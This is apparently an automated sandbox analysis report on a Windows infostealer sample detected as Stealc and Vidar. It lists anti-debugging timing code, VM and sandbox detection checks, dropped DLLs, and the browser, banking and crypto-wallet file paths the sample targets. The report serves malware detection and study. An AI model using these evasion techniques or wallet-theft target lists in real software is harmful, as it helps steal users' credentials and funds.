Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE81D8 second address: FE8227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F90CD2EB7CDh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 js 00007F90CD2EB7DEh 0x00000017 jns 00007F90CD2EB7D8h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F90CD2EB7D2h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8227 second address: FE8231 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F90CCB8A17Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE980F second address: FE9813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9813 second address: FE981B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE981B second address: FE9823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9823 second address: FE9827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB18E second address: FEB192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB192 second address: FEB19E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED099 second address: FED09F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED09F second address: FED0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F90CCB8A178h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED0B2 second address: FED0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F90CD2EB7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02A8 second address: 4CA02AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02AC second address: 4CA02B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02B2 second address: 4CA02C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CCB8A17Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02C3 second address: 4CA02E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F90CD2EB7D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02E4 second address: 4CA02EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA037F second address: 4CA0383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0383 second address: 4CA0387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0387 second address: 4CA038D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0532 second address: 4CA0558 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F90CCB8A17Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0558 second address: 4CA0568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CD2EB7CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0568 second address: 4CA056C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D53CB5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EF7978 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EF643B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F22933 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0A5D0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F856D5 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B1D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B239B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B239B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B1E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B243F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B243F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B1BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B1F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B11710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B11710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B24050 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B24050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B233C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B233C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B1EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B1DC50

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B27970 GetSystemInfo,wsprintfA,

0_2_00B27970

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: CFIJEBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: CFIJEBFC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: CFIJEBFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2255662076.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: CFIJEBFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: CFIJEBFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: CFIJEBFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: CFIJEBFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: CFIJEBFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: CFIJEBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: CFIJEBFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: CFIJEBFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000002.2255662076.0000000000775000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW >z%SystemRoot%\system32\mswsock.dll
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: CFIJEBFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: CFIJEBFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: CFIJEBFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: CFIJEBFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CFIJEBFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: CFIJEBFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: CFIJEBFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: CFIJEBFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13182
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14317
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13128
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13131
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13150
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13142

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B14610 VirtualProtect ?,00000004,00000100,00000000

0_2_00B14610

Source: C:\Users\user\Desktop\file.exe

0_2_00B29270

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B29160 mov eax, dword ptr fs:[00000030h]

0_2_00B29160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B278A0 GetProcessHeap,RtlAllocateHeap,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,

0_2_00B278A0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6600, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B290A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00B290A0

Source: file.exe, file.exe, 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: FProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00B27630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B263C0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00B263C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B272F0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00B272F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B274D0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00B274D0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6600, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonSS
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
